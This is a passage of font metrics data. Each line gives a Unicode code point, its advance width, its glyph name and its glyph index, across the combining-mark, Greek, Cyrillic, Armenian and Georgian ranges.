U 824 ; WX 0 ; N uni0338 ; G 741
U 825 ; WX 0 ; N uni0339 ; G 742
U 826 ; WX 0 ; N uni033A ; G 743
U 827 ; WX 0 ; N uni033B ; G 744
U 828 ; WX 0 ; N uni033C ; G 745
U 829 ; WX 0 ; N uni033D ; G 746
U 830 ; WX 0 ; N uni033E ; G 747
U 831 ; WX 0 ; N uni033F ; G 748
U 835 ; WX 0 ; N uni0343 ; G 749
U 847 ; WX 0 ; N uni034F ; G 750
U 856 ; WX 0 ; N uni0358 ; G 751
U 864 ; WX 0 ; N uni0360 ; G 752
U 865 ; WX 0 ; N uni0361 ; G 753
U 880 ; WX 779 ; N uni0370 ; G 754
U 881 ; WX 576 ; N uni0371 ; G 755
U 882 ; WX 803 ; N uni0372 ; G 756
U 883 ; WX 777 ; N uni0373 ; G 757
U 884 ; WX 302 ; N uni0374 ; G 758
U 885 ; WX 302 ; N uni0375 ; G 759
U 886 ; WX 963 ; N uni0376 ; G 760
U 887 ; WX 737 ; N uni0377 ; G 761
U 890 ; WX 500 ; N uni037A ; G 762
U 891 ; WX 609 ; N uni037B ; G 763
U 892 ; WX 609 ; N uni037C ; G 764
U 893 ; WX 609 ; N uni037D ; G 765
U 894 ; WX 369 ; N uni037E ; G 766
U 895 ; WX 473 ; N uni037F ; G 767
U 900 ; WX 500 ; N tonos ; G 768
U 901 ; WX 500 ; N dieresistonos ; G 769
U 902 ; WX 776 ; N Alphatonos ; G 770
U 903 ; WX 348 ; N anoteleia ; G 771
U 904 ; WX 947 ; N Epsilontonos ; G 772
U 905 ; WX 1136 ; N Etatonos ; G 773
U 906 ; WX 662 ; N Iotatonos ; G 774
U 908 ; WX 887 ; N Omicrontonos ; G 775
U 910 ; WX 953 ; N Upsilontonos ; G 776
U 911 ; WX 911 ; N Omegatonos ; G 777
U 912 ; WX 484 ; N iotadieresistonos ; G 778
U 913 ; WX 776 ; N Alpha ; G 779
U 914 ; WX 845 ; N Beta ; G 780
U 915 ; WX 710 ; N Gamma ; G 781
U 916 ; WX 776 ; N uni0394 ; G 782
U 917 ; WX 762 ; N Epsilon ; G 783
U 918 ; WX 730 ; N Zeta ; G 784
U 919 ; WX 945 ; N Eta ; G 785
U 920 ; WX 871 ; N Theta ; G 786
U 921 ; WX 468 ; N Iota ; G 787
U 922 ; WX 869 ; N Kappa ; G 788
U 923 ; WX 776 ; N Lambda ; G 789
U 924 ; WX 1107 ; N Mu ; G 790
U 925 ; WX 914 ; N Nu ; G 791
U 926 ; WX 704 ; N Xi ; G 792
U 927 ; WX 871 ; N Omicron ; G 793
U 928 ; WX 945 ; N Pi ; G 794
U 929 ; WX 752 ; N Rho ; G 795
U 931 ; WX 707 ; N Sigma ; G 796
U 932 ; WX 744 ; N Tau ; G 797
U 933 ; WX 714 ; N Upsilon ; G 798
U 934 ; WX 871 ; N Phi ; G 799
U 935 ; WX 776 ; N Chi ; G 800
U 936 ; WX 913 ; N Psi ; G 801
U 937 ; WX 890 ; N Omega ; G 802
U 938 ; WX 468 ; N Iotadieresis ; G 803
U 939 ; WX 714 ; N Upsilondieresis ; G 804
U 940 ; WX 770 ; N alphatonos ; G 805
U 941 ; WX 608 ; N epsilontonos ; G 806
U 942 ; WX 727 ; N etatonos ; G 807
U 943 ; WX 484 ; N iotatonos ; G 808
U 944 ; WX 694 ; N upsilondieresistonos ; G 809
U 945 ; WX 770 ; N alpha ; G 810
U 946 ; WX 664 ; N beta ; G 811
U 947 ; WX 660 ; N gamma ; G 812
U 948 ; WX 667 ; N delta ; G 813
U 949 ; WX 608 ; N epsilon ; G 814
U 950 ; WX 592 ; N zeta ; G 815
U 951 ; WX 727 ; N eta ; G 816
U 952 ; WX 667 ; N theta ; G 817
U 953 ; WX 484 ; N iota ; G 818
U 954 ; WX 750 ; N kappa ; G 819
U 955 ; WX 701 ; N lambda ; G 820
U 956 ; WX 732 ; N uni03BC ; G 821
U 957 ; WX 694 ; N nu ; G 822
U 958 ; WX 592 ; N xi ; G 823
U 959 ; WX 667 ; N omicron ; G 824
U 960 ; WX 732 ; N pi ; G 825
U 961 ; WX 665 ; N rho ; G 826
U 962 ; WX 609 ; N sigma1 ; G 827
U 963 ; WX 737 ; N sigma ; G 828
U 964 ; WX 673 ; N tau ; G 829
U 965 ; WX 694 ; N upsilon ; G 830
U 966 ; WX 905 ; N phi ; G 831
U 967 ; WX 658 ; N chi ; G 832
U 968 ; WX 941 ; N psi ; G 833
U 969 ; WX 952 ; N omega ; G 834
U 970 ; WX 484 ; N iotadieresis ; G 835
U 971 ; WX 694 ; N upsilondieresis ; G 836
U 972 ; WX 667 ; N omicrontonos ; G 837
U 973 ; WX 694 ; N upsilontonos ; G 838
U 974 ; WX 952 ; N omegatonos ; G 839
U 975 ; WX 869 ; N uni03CF ; G 840
U 976 ; WX 667 ; N uni03D0 ; G 841
U 977 ; WX 849 ; N theta1 ; G 842
U 978 ; WX 764 ; N Upsilon1 ; G 843
U 979 ; WX 969 ; N uni03D3 ; G 844
U 980 ; WX 764 ; N uni03D4 ; G 845
U 981 ; WX 941 ; N phi1 ; G 846
U 982 ; WX 952 ; N omega1 ; G 847
U 983 ; WX 655 ; N uni03D7 ; G 848
U 984 ; WX 871 ; N uni03D8 ; G 849
U 985 ; WX 667 ; N uni03D9 ; G 850
U 986 ; WX 796 ; N uni03DA ; G 851
U 987 ; WX 609 ; N uni03DB ; G 852
U 988 ; WX 710 ; N uni03DC ; G 853
U 989 ; WX 527 ; N uni03DD ; G 854
U 990 ; WX 590 ; N uni03DE ; G 855
U 991 ; WX 660 ; N uni03DF ; G 856
U 992 ; WX 796 ; N uni03E0 ; G 857
U 993 ; WX 667 ; N uni03E1 ; G 858
U 1008 ; WX 655 ; N uni03F0 ; G 859
U 1009 ; WX 665 ; N uni03F1 ; G 860
U 1010 ; WX 609 ; N uni03F2 ; G 861
U 1011 ; WX 362 ; N uni03F3 ; G 862
U 1012 ; WX 871 ; N uni03F4 ; G 863
U 1013 ; WX 609 ; N uni03F5 ; G 864
U 1014 ; WX 609 ; N uni03F6 ; G 865
U 1015 ; WX 757 ; N uni03F7 ; G 866
U 1016 ; WX 699 ; N uni03F8 ; G 867
U 1017 ; WX 796 ; N uni03F9 ; G 868
U 1018 ; WX 1107 ; N uni03FA ; G 869
U 1019 ; WX 860 ; N uni03FB ; G 870
U 1020 ; WX 692 ; N uni03FC ; G 871
U 1021 ; WX 796 ; N uni03FD ; G 872
U 1022 ; WX 796 ; N uni03FE ; G 873
U 1023 ; WX 796 ; N uni03FF ; G 874
U 1024 ; WX 762 ; N uni0400 ; G 875
U 1025 ; WX 762 ; N uni0401 ; G 876
U 1026 ; WX 901 ; N uni0402 ; G 877
U 1027 ; WX 690 ; N uni0403 ; G 878
U 1028 ; WX 795 ; N uni0404 ; G 879
U 1029 ; WX 722 ; N uni0405 ; G 880
U 1030 ; WX 468 ; N uni0406 ; G 881
U 1031 ; WX 468 ; N uni0407 ; G 882
U 1032 ; WX 473 ; N uni0408 ; G 883
U 1033 ; WX 1202 ; N uni0409 ; G 884
U 1034 ; WX 1262 ; N uni040A ; G 885
U 1035 ; WX 963 ; N uni040B ; G 886
U 1036 ; WX 910 ; N uni040C ; G 887
U 1037 ; WX 945 ; N uni040D ; G 888
U 1038 ; WX 812 ; N uni040E ; G 889
U 1039 ; WX 945 ; N uni040F ; G 890
U 1040 ; WX 814 ; N uni0410 ; G 891
U 1041 ; WX 854 ; N uni0411 ; G 892
U 1042 ; WX 845 ; N uni0412 ; G 893
U 1043 ; WX 690 ; N uni0413 ; G 894
U 1044 ; WX 889 ; N uni0414 ; G 895
U 1045 ; WX 762 ; N uni0415 ; G 896
U 1046 ; WX 1312 ; N uni0416 ; G 897
U 1047 ; WX 721 ; N uni0417 ; G 898
U 1048 ; WX 945 ; N uni0418 ; G 899
U 1049 ; WX 945 ; N uni0419 ; G 900
U 1050 ; WX 910 ; N uni041A ; G 901
U 1051 ; WX 884 ; N uni041B ; G 902
U 1052 ; WX 1107 ; N uni041C ; G 903
U 1053 ; WX 945 ; N uni041D ; G 904
U 1054 ; WX 871 ; N uni041E ; G 905
U 1055 ; WX 945 ; N uni041F ; G 906
U 1056 ; WX 752 ; N uni0420 ; G 907
U 1057 ; WX 796 ; N uni0421 ; G 908
U 1058 ; WX 744 ; N uni0422 ; G 909
U 1059 ; WX 812 ; N uni0423 ; G 910
U 1060 ; WX 949 ; N uni0424 ; G 911
U 1061 ; WX 776 ; N uni0425 ; G 912
U 1062 ; WX 966 ; N uni0426 ; G 913
U 1063 ; WX 913 ; N uni0427 ; G 914
U 1064 ; WX 1268 ; N uni0428 ; G 915
U 1065 ; WX 1293 ; N uni0429 ; G 916
U 1066 ; WX 957 ; N uni042A ; G 917
U 1067 ; WX 1202 ; N uni042B ; G 918
U 1068 ; WX 825 ; N uni042C ; G 919
U 1069 ; WX 795 ; N uni042D ; G 920
U 1070 ; WX 1287 ; N uni042E ; G 921
U 1071 ; WX 882 ; N uni042F ; G 922
U 1072 ; WX 648 ; N uni0430 ; G 923
U 1073 ; WX 722 ; N uni0431 ; G 924
U 1074 ; WX 657 ; N uni0432 ; G 925
U 1075 ; WX 563 ; N uni0433 ; G 926
U 1076 ; WX 695 ; N uni0434 ; G 927
U 1077 ; WX 636 ; N uni0435 ; G 928
U 1078 ; WX 1306 ; N uni0436 ; G 929
U 1079 ; WX 638 ; N uni0437 ; G 930
U 1080 ; WX 727 ; N uni0438 ; G 931
U 1081 ; WX 727 ; N uni0439 ; G 932
U 1082 ; WX 677 ; N uni043A ; G 933
U 1083 ; WX 732 ; N uni043B ; G 934
U 1084 ; WX 951 ; N uni043C ; G 935
U 1085 ; WX 729 ; N uni043D ; G 936
U 1086 ; WX 667 ; N uni043E ; G 937
U 1087 ; WX 727 ; N uni043F ; G 938
U 1088 ; WX 699 ; N uni0440 ; G 939
U 1089 ; WX 609 ; N uni0441 ; G 940
U 1090 ; WX 1058 ; N uni0442 ; G 941
U 1091 ; WX 598 ; N uni0443 ; G 942
U 1092 ; WX 902 ; N uni0444 ; G 943
U 1093 ; WX 596 ; N uni0445 ; G 944
U 1094 ; WX 803 ; N uni0446 ; G 945
U 1095 ; WX 715 ; N uni0447 ; G 946
U 1096 ; WX 1058 ; N uni0448 ; G 947
U 1097 ; WX 1134 ; N uni0449 ; G 948
U 1098 ; WX 727 ; N uni044A ; G 949
U 1099 ; WX 1018 ; N uni044B ; G 950
U 1100 ; WX 660 ; N uni044C ; G 951
U 1101 ; WX 645 ; N uni044D ; G 952
U 1102 ; WX 1001 ; N uni044E ; G 953
U 1103 ; WX 796 ; N uni044F ; G 954
U 1104 ; WX 636 ; N uni0450 ; G 955
U 1105 ; WX 636 ; N uni0451 ; G 956
U 1106 ; WX 719 ; N uni0452 ; G 957
U 1107 ; WX 563 ; N uni0453 ; G 958
U 1108 ; WX 609 ; N uni0454 ; G 959
U 1109 ; WX 563 ; N uni0455 ; G 960
U 1110 ; WX 380 ; N uni0456 ; G 961
U 1111 ; WX 380 ; N uni0457 ; G 962
U 1112 ; WX 362 ; N uni0458 ; G 963
U 1113 ; WX 1014 ; N uni0459 ; G 964
U 1114 ; WX 1011 ; N uni045A ; G 965
U 1115 ; WX 727 ; N uni045B ; G 966
U 1116 ; WX 677 ; N uni045C ; G 967
U 1117 ; WX 727 ; N uni045D ; G 968
U 1118 ; WX 598 ; N uni045E ; G 969
U 1119 ; WX 727 ; N uni045F ; G 970
U 1122 ; WX 880 ; N uni0462 ; G 971
U 1123 ; WX 1050 ; N uni0463 ; G 972
U 1124 ; WX 1195 ; N uni0464 ; G 973
U 1125 ; WX 963 ; N uni0465 ; G 974
U 1130 ; WX 1312 ; N uni046A ; G 975
U 1131 ; WX 1010 ; N uni046B ; G 976
U 1132 ; WX 1630 ; N uni046C ; G 977
U 1133 ; WX 1247 ; N uni046D ; G 978
U 1136 ; WX 1096 ; N uni0470 ; G 979
U 1137 ; WX 1105 ; N uni0471 ; G 980
U 1138 ; WX 871 ; N uni0472 ; G 981
U 1139 ; WX 652 ; N uni0473 ; G 982
U 1140 ; WX 916 ; N uni0474 ; G 983
U 1141 ; WX 749 ; N uni0475 ; G 984
U 1142 ; WX 916 ; N uni0476 ; G 985
U 1143 ; WX 749 ; N uni0477 ; G 986
U 1164 ; WX 846 ; N uni048C ; G 987
U 1165 ; WX 673 ; N uni048D ; G 988
U 1168 ; WX 700 ; N uni0490 ; G 989
U 1169 ; WX 618 ; N uni0491 ; G 990
U 1170 ; WX 690 ; N uni0492 ; G 991
U 1171 ; WX 563 ; N uni0493 ; G 992
U 1172 ; WX 854 ; N uni0494 ; G 993
U 1173 ; WX 705 ; N uni0495 ; G 994
U 1174 ; WX 1312 ; N uni0496 ; G 995
U 1175 ; WX 1306 ; N uni0497 ; G 996
U 1176 ; WX 721 ; N uni0498 ; G 997
U 1177 ; WX 638 ; N uni0499 ; G 998
U 1178 ; WX 902 ; N uni049A ; G 999
U 1179 ; WX 703 ; N uni049B ; G 1000
U 1182 ; WX 910 ; N uni049E ; G 1001
U 1183 ; WX 677 ; N uni049F ; G 1002
U 1184 ; WX 1041 ; N uni04A0 ; G 1003
U 1185 ; WX 760 ; N uni04A1 ; G 1004
U 1186 ; WX 952 ; N uni04A2 ; G 1005
U 1187 ; WX 805 ; N uni04A3 ; G 1006
U 1188 ; WX 1167 ; N uni04A4 ; G 1007
U 1189 ; WX 955 ; N uni04A5 ; G 1008
U 1190 ; WX 1324 ; N uni04A6 ; G 1009
U 1191 ; WX 1013 ; N uni04A7 ; G 1010
U 1194 ; WX 796 ; N uni04AA ; G 1011
U 1195 ; WX 609 ; N uni04AB ; G 1012
U 1196 ; WX 744 ; N uni04AC ; G 1013
U 1197 ; WX 1142 ; N uni04AD ; G 1014
U 1198 ; WX 714 ; N uni04AE ; G 1015
U 1199 ; WX 572 ; N uni04AF ; G 1016
U 1200 ; WX 713 ; N uni04B0 ; G 1017
U 1201 ; WX 572 ; N uni04B1 ; G 1018
U 1202 ; WX 789 ; N uni04B2 ; G 1019
U 1203 ; WX 596 ; N uni04B3 ; G 1020
U 1204 ; WX 1010 ; N uni04B4 ; G 1021
U 1205 ; WX 833 ; N uni04B5 ; G 1022
U 1206 ; WX 913 ; N uni04B6 ; G 1023
U 1207 ; WX 792 ; N uni04B7 ; G 1024
U 1210 ; WX 910 ; N uni04BA ; G 1025
U 1211 ; WX 727 ; N uni04BB ; G 1026
U 1216 ; WX 468 ; N uni04C0 ; G 1027
U 1217 ; WX 1312 ; N uni04C1 ; G 1028
U 1218 ; WX 1306 ; N uni04C2 ; G 1029
U 1219 ; WX 869 ; N uni04C3 ; G 1030
U 1220 ; WX 693 ; N uni04C4 ; G 1031
U 1223 ; WX 945 ; N uni04C7 ; G 1032
U 1224 ; WX 732 ; N uni04C8 ; G 1033
U 1227 ; WX 984 ; N uni04CB ; G 1034
U 1228 ; WX 732 ; N uni04CC ; G 1035
U 1231 ; WX 380 ; N uni04CF ; G 1036
U 1232 ; WX 814 ; N uni04D0 ; G 1037
U 1233 ; WX 648 ; N uni04D1 ; G 1038
U 1234 ; WX 814 ; N uni04D2 ; G 1039
U 1235 ; WX 648 ; N uni04D3 ; G 1040
U 1236 ; WX 1034 ; N uni04D4 ; G 1041
U 1237 ; WX 975 ; N uni04D5 ; G 1042
U 1238 ; WX 762 ; N uni04D6 ; G 1043
U 1239 ; WX 636 ; N uni04D7 ; G 1044
U 1240 ; WX 871 ; N uni04D8 ; G 1045
U 1241 ; WX 636 ; N uni04D9 ; G 1046
U 1242 ; WX 871 ; N uni04DA ; G 1047
U 1243 ; WX 636 ; N uni04DB ; G 1048
U 1244 ; WX 1312 ; N uni04DC ; G 1049
U 1245 ; WX 1306 ; N uni04DD ; G 1050
U 1246 ; WX 721 ; N uni04DE ; G 1051
U 1247 ; WX 638 ; N uni04DF ; G 1052
U 1248 ; WX 657 ; N uni04E0 ; G 1053
U 1249 ; WX 568 ; N uni04E1 ; G 1054
U 1250 ; WX 945 ; N uni04E2 ; G 1055
U 1251 ; WX 727 ; N uni04E3 ; G 1056
U 1252 ; WX 945 ; N uni04E4 ; G 1057
U 1253 ; WX 727 ; N uni04E5 ; G 1058
U 1254 ; WX 871 ; N uni04E6 ; G 1059
U 1255 ; WX 667 ; N uni04E7 ; G 1060
U 1256 ; WX 871 ; N uni04E8 ; G 1061
U 1257 ; WX 667 ; N uni04E9 ; G 1062
U 1258 ; WX 871 ; N uni04EA ; G 1063
U 1259 ; WX 667 ; N uni04EB ; G 1064
U 1260 ; WX 795 ; N uni04EC ; G 1065
U 1261 ; WX 645 ; N uni04ED ; G 1066
U 1262 ; WX 812 ; N uni04EE ; G 1067
U 1263 ; WX 598 ; N uni04EF ; G 1068
U 1264 ; WX 812 ; N uni04F0 ; G 1069
U 1265 ; WX 598 ; N uni04F1 ; G 1070
U 1266 ; WX 812 ; N uni04F2 ; G 1071
U 1267 ; WX 598 ; N uni04F3 ; G 1072
U 1268 ; WX 913 ; N uni04F4 ; G 1073
U 1269 ; WX 715 ; N uni04F5 ; G 1074
U 1270 ; WX 690 ; N uni04F6 ; G 1075
U 1271 ; WX 563 ; N uni04F7 ; G 1076
U 1272 ; WX 1202 ; N uni04F8 ; G 1077
U 1273 ; WX 1018 ; N uni04F9 ; G 1078
U 1296 ; WX 721 ; N uni0510 ; G 1079
U 1297 ; WX 638 ; N uni0511 ; G 1080
U 1298 ; WX 884 ; N uni0512 ; G 1081
U 1299 ; WX 732 ; N uni0513 ; G 1082
U 1300 ; WX 1248 ; N uni0514 ; G 1083
U 1301 ; WX 1005 ; N uni0515 ; G 1084
U 1306 ; WX 820 ; N uni051A ; G 1085
U 1307 ; WX 640 ; N uni051B ; G 1086
U 1308 ; WX 1028 ; N uni051C ; G 1087
U 1309 ; WX 856 ; N uni051D ; G 1088
U 1329 ; WX 942 ; N uni0531 ; G 1089
U 1330 ; WX 832 ; N uni0532 ; G 1090
U 1331 ; WX 894 ; N uni0533 ; G 1091
U 1332 ; WX 909 ; N uni0534 ; G 1092
U 1333 ; WX 822 ; N uni0535 ; G 1093
U 1334 ; WX 821 ; N uni0536 ; G 1094
U 1335 ; WX 747 ; N uni0537 ; G 1095
U 1336 ; WX 832 ; N uni0538 ; G 1096
U 1337 ; WX 1125 ; N uni0539 ; G 1097
U 1338 ; WX 894 ; N uni053A ; G 1098
U 1339 ; WX 803 ; N uni053B ; G 1099
U 1340 ; WX 722 ; N uni053C ; G 1100
U 1341 ; WX 1188 ; N uni053D ; G 1101
U 1342 ; WX 887 ; N uni053E ; G 1102
U 1343 ; WX 842 ; N uni053F ; G 1103
U 1344 ; WX 737 ; N uni0540 ; G 1104
U 1345 ; WX 863 ; N uni0541 ; G 1105
U 1346 ; WX 918 ; N uni0542 ; G 1106
U 1347 ; WX 851 ; N uni0543 ; G 1107
U 1348 ; WX 977 ; N uni0544 ; G 1108
U 1349 ; WX 833 ; N uni0545 ; G 1109
U 1350 ; WX 914 ; N uni0546 ; G 1110
U 1351 ; WX 843 ; N uni0547 ; G 1111
U 1352 ; WX 871 ; N uni0548 ; G 1112
U 1353 ; WX 818 ; N uni0549 ; G 1113
U 1354 ; WX 1034 ; N uni054A ; G 1114
U 1355 ; WX 846 ; N uni054B ; G 1115
U 1356 ; WX 964 ; N uni054C ; G 1116
U 1357 ; WX 871 ; N uni054D ; G 1117
U 1358 ; WX 914 ; N uni054E ; G 1118
U 1359 ; WX 808 ; N uni054F ; G 1119
U 1360 ; WX 808 ; N uni0550 ; G 1120
U 1361 ; WX 836 ; N uni0551 ; G 1121
U 1362 ; WX 710 ; N uni0552 ; G 1122
U 1363 ; WX 955 ; N uni0553 ; G 1123
U 1364 ; WX 891 ; N uni0554 ; G 1124
U 1365 ; WX 871 ; N uni0555 ; G 1125
U 1366 ; WX 963 ; N uni0556 ; G 1126
U 1369 ; WX 307 ; N uni0559 ; G 1127
U 1370 ; WX 264 ; N uni055A ; G 1128
U 1371 ; WX 293 ; N uni055B ; G 1129
U 1372 ; WX 391 ; N uni055C ; G 1130
U 1373 ; WX 323 ; N uni055D ; G 1131
U 1374 ; WX 439 ; N uni055E ; G 1132
U 1375 ; WX 500 ; N uni055F ; G 1133
U 1377 ; WX 1055 ; N uni0561 ; G 1134
U 1378 ; WX 695 ; N uni0562 ; G 1135
U 1379 ; WX 776 ; N uni0563 ; G 1136
U 1380 ; WX 801 ; N uni0564 ; G 1137
U 1381 ; WX 729 ; N uni0565 ; G 1138
U 1382 ; WX 742 ; N uni0566 ; G 1139
U 1383 ; WX 599 ; N uni0567 ; G 1140
U 1384 ; WX 733 ; N uni0568 ; G 1141
U 1385 ; WX 909 ; N uni0569 ; G 1142
U 1386 ; WX 768 ; N uni056A ; G 1143
U 1387 ; WX 724 ; N uni056B ; G 1144
U 1388 ; WX 398 ; N uni056C ; G 1145
U 1389 ; WX 1087 ; N uni056D ; G 1146
U 1390 ; WX 695 ; N uni056E ; G 1147
U 1391 ; WX 719 ; N uni056F ; G 1148
U 1392 ; WX 737 ; N uni0570 ; G 1149
U 1393 ; WX 684 ; N uni0571 ; G 1150
U 1394 ; WX 738 ; N uni0572 ; G 1151
U 1395 ; WX 703 ; N uni0573 ; G 1152
U 1396 ; WX 724 ; N uni0574 ; G 1153
U 1397 ; WX 359 ; N uni0575 ; G 1154
U 1398 ; WX 719 ; N uni0576 ; G 1155
U 1399 ; WX 496 ; N uni0577 ; G 1156
U 1400 ; WX 738 ; N uni0578 ; G 1157
U 1401 ; WX 428 ; N uni0579 ; G 1158
U 1402 ; WX 1059 ; N uni057A ; G 1159
U 1403 ; WX 668 ; N uni057B ; G 1160
U 1404 ; WX 744 ; N uni057C ; G 1161
U 1405 ; WX 724 ; N uni057D ; G 1162
U 1406 ; WX 724 ; N uni057E ; G 1163
U 1407 ; WX 1040 ; N uni057F ; G 1164
U 1408 ; WX 724 ; N uni0580 ; G 1165
U 1409 ; WX 713 ; N uni0581 ; G 1166
U 1410 ; WX 493 ; N uni0582 ; G 1167
U 1411 ; WX 1040 ; N uni0583 ; G 1168
U 1412 ; WX 734 ; N uni0584 ; G 1169
U 1413 ; WX 693 ; N uni0585 ; G 1170
U 1414 ; WX 956 ; N uni0586 ; G 1171
U 1415 ; WX 833 ; N uni0587 ; G 1172
U 1417 ; WX 340 ; N uni0589 ; G 1173
U 1418 ; WX 388 ; N uni058A ; G 1174
U 3647 ; WX 696 ; N uni0E3F ; G 1175
U 4256 ; WX 765 ; N uni10A0 ; G 1176
U 4257 ; WX 945 ; N uni10A1 ; G 1177
U 4258 ; WX 876 ; N uni10A2 ; G 1178
U 4259 ; WX 884 ; N uni10A3 ; G 1179
U 4260 ; WX 791 ; N uni10A4 ; G 1180
U 4261 ; WX 1087 ; N uni10A5 ; G 1181
U 4262 ; WX 1024 ; N uni10A6 ; G 1182
U 4263 ; WX 1223 ; N uni10A7 ; G 1183
U 4264 ; WX 653 ; N uni10A8 ; G 1184
U 4265 ; WX 828 ; N uni10A9 ; G 1185
U 4266 ; WX 1061 ; N uni10AA ; G 1186
U 4267 ; WX 1061 ; N uni10AB ; G 1187
U 4268 ; WX 806 ; N uni10AC ; G 1188
U 4269 ; WX 1145 ; N uni10AD ; G 1189
U 4270 ; WX 979 ; N uni10AE ; G 1190
U 4271 ; WX 912 ; N uni10AF ; G 1191
U 4272 ; WX 1119 ; N uni10B0 ; G 1192
U 4273 ; WX 802 ; N uni10B1 ; G 1193
U 4274 ; WX 766 ; N uni10B2 ; G 1194
U 4275 ; WX 1085 ; N uni10B3 ; G 1195
U 4276 ; WX 986 ; N uni10B4 ; G 1196
U 4277 ; WX 1076 ; N uni10B5 ; G 1197
U 4278 ; WX 820 ; N uni10B6 ; G 1198
U 4279 ; WX 843 ; N uni10B7 ; G 1199
U 4280 ; WX 831 ; N uni10B8 ; G 1200
U 4281 ; WX 843 ; N uni10B9 ; G 1201
U 4282 ; WX 918 ; N uni10BA ; G 1202
U 4283 ; WX 1086 ; N uni10BB ; G 1203
U 4284 ; WX 779 ; N uni10BC ; G 1204
U 4285 ; WX 832 ; N uni10BD ; G 1205
U 4286 ; WX 822 ; N uni10BE ; G 1206
U 4287 ; WX 1121 ; N uni10BF ; G 1207
U 4288 ; WX 1132 ; N uni10C0 ; G 1208
U 4289 ; WX 812 ; N uni10C1 ; G 1209
U 4290 ; WX 902 ; N uni10C2 ; G 1210
U 4291 ; WX 812 ; N uni10C3 ; G 1211
U 4292 ; WX 890 ; N uni10C4 ; G 1212
U 4293 ; WX 1073 ; N uni10C5 ; G 1213
U 4304 ; WX 594 ; N uni10D0 ; G 1214
U 4305 ; WX 625 ; N uni10D1 ; G 1215
U 4306 ; WX 643 ; N uni10D2 ; G 1216
U 4307 ; WX 887 ; N uni10D3 ; G 1217
U 4308 ; WX 615 ; N uni10D4 ; G 1218
U 4309 ; WX 611 ; N uni10D5 ; G 1219
U 4310 ; WX 666 ; N uni10D6 ; G 1220
U 4311 ; WX 915 ; N uni10D7 ; G 1221
U 4312 ; WX 613 ; N uni10D8 ; G 1222
U 4313 ; WX 600 ; N uni10D9 ; G 1223
U 4314 ; WX 1120 ; N uni10DA ; G 1224
U 4315 ; WX 654 ; N uni10DB ; G 1225
U 4316 ; WX 640 ; N uni10DC ; G 1226
U 4317 ; WX 879 ; N uni10DD ; G 1227
U 4318 ; WX 624 ; N uni10DE ; G 1228
U 4319 ; WX 634 ; N uni10DF ; G 1229
U 4320 ; WX 877 ; N uni10E0 ; G 1230
U 4321 ; WX 657 ; N uni10E1 ; G 1231
U 4322 ; WX 802 ; N uni10E2 ; G 1232
U 4323 ; WX 751 ; N uni10E3 ; G 1233
U 4324 ; WX 869 ; N uni10E4 ; G 1234
U 4325 ; WX 639 ; N uni10E5 ; G 1235
U 4326 ; WX 912 ; N uni10E6 ; G 1236
U 4327 ; WX 622 ; N uni10E7 ; G 1237
U 4328 ; WX 647 ; N uni10E8 ; G 1238
U 4329 ; WX 640 ; N uni10E9 ; G 1239
U 4330 ; WX 729 ; N uni10EA ; G 1240
U 4331 ; WX 641 ; N uni10EB ; G 1241
U 4332 ; WX 639 ; N uni10EC ; G 1242
U 4333 ; WX 629 ; N uni10ED ; G 1243
U 4334 ; WX 674 ; N uni10EE ; G 1244
U 4335 ; WX 737 ; N uni10EF ; G 1245
U 4336 ; WX 625 ; N uni10F0 ; G 1246
U 4337 ; WX 657 ; N uni10F1 ; G 1247
U 4338 ; WX 625 ; N uni10F2 ; G 1248
U 4339 ; WX 625 ; N uni10F3 ; G 1249
U 4340 ; WX 624 ; N uni10F4 ; G 1250
U 4341 ; WX 670 ; N uni10F5 ; G 1251
U 4342 ; WX 940 ; N uni10F6 ; G 1252
U 4343 ; WX 680 ; N uni10F7 ; G 1253
U 4344 ; WX 636 ; N uni10F8 ; G 1254
U 4345 ; WX 672 ; N uni10F9 ; G 1255
U 4346 ; WX 625 ; N uni10FA ; G 1256
U 4347 ; WX 446 ; N uni10FB ; G 1257
U 4348 ; WX 363 ; N uni10FC ; G 1258
U 7424 ; WX 641 ; N uni1D00 ; G 1259
U 7425 ; WX 892 ; N uni1D01 ; G 1260
U 7426 ; WX 932 ; N uni1D02 ; G 1261
U 7427 ; WX 695 ; N uni1D03 ; G 1262
U 7428 ; WX 609 ; N uni1D04 ; G 1263
U 7429 ; WX 675 ; N uni1D05 ; G 1264
U 7430 ; WX 675 ; N uni1D06 ; G 1265
U 7431 ; WX 617 ; N uni1D07 ; G 1266
U 7432 ; WX 509 ; N uni1D08 ; G 1267
U 7433 ; WX 320 ; N uni1D09 ; G 1268
U 7434 ; WX 561 ; N uni1D0A ; G 1269
U 7435 ; WX 722 ; N uni1D0B ; G 1270
U 7436 ; WX 617 ; N uni1D0C ; G 1271
U 7437 ; WX 869 ; N uni1D0D ; G 1272
U 7438 ; WX 737 ; N uni1D0E ; G 1273
U 7439 ; WX 667 ; N uni1D0F ; G 1274
U 7440 ; WX 609 ; N uni1D10 ; G 1275
U 7441 ; WX 628 ; N uni1D11 ; G 1276
U 7442 ; WX 628 ; N uni1D12 ; G 1277
U 7443 ; WX 667 ; N uni1D13 ; G 1278
U 7444 ; WX 1028 ; N uni1D14 ; G 1279
U 7445 ; WX 598 ; N uni1D15 ; G 1280
U 7446 ; WX 667 ; N uni1D16 ; G 1281
U 7447 ; WX 667 ; N uni1D17 ; G 1282
U 7448 ; WX 586 ; N uni1D18 ; G 1283
U 7449 ; WX 801 ; N uni1D19 ; G 1284
U 7450 ; WX 801 ; N uni1D1A ; G 1285
U 7451 ; WX 620 ; N uni1D1B ; G 1286
U 7452 ; WX 647 ; N uni1D1C ; G 1287
U 7453 ; WX 664 ; N uni1D1D ; G 1288
U 7454 ; WX 923 ; N uni1D1E ; G 1289
U 7455 ; WX 655 ; N uni1D1F ; G 1290
U 7456 ; WX 581 ; N uni1D20 ; G 1291
U 7457 ; WX 861 ; N uni1D21 ; G 1292
U 7458 ; WX 568 ; N uni1D22 ; G 1293
U 7459 ; WX 568 ; N uni1D23 ; G 1294
U 7460 ; WX 588 ; N uni1D24 ; G 1295
U 7461 ; WX 802 ; N uni1D25 ; G 1296
U 7462 ; WX 586 ; N uni1D26 ; G 1297
U 7463 ; WX 641 ; N uni1D27 ; G 1298
U 7464 ; WX 732 ; N uni1D28 ; G 1299
U 7465 ; WX 586 ; N uni1D29 ; G 1300
U 7466 ; WX 854 ; N uni1D2A ; G 1301
U 7467 ; WX 705 ; N uni1D2B ; G 1302
U 7468 ; WX 489 ; N uni1D2C ; G 1303
U 7469 ; WX 651 ; N uni1D2D ; G 1304
U 7470 ; WX 532 ; N uni1D2E ; G 1305
U 7471 ; WX 532 ; N uni1D2F ; G 1306
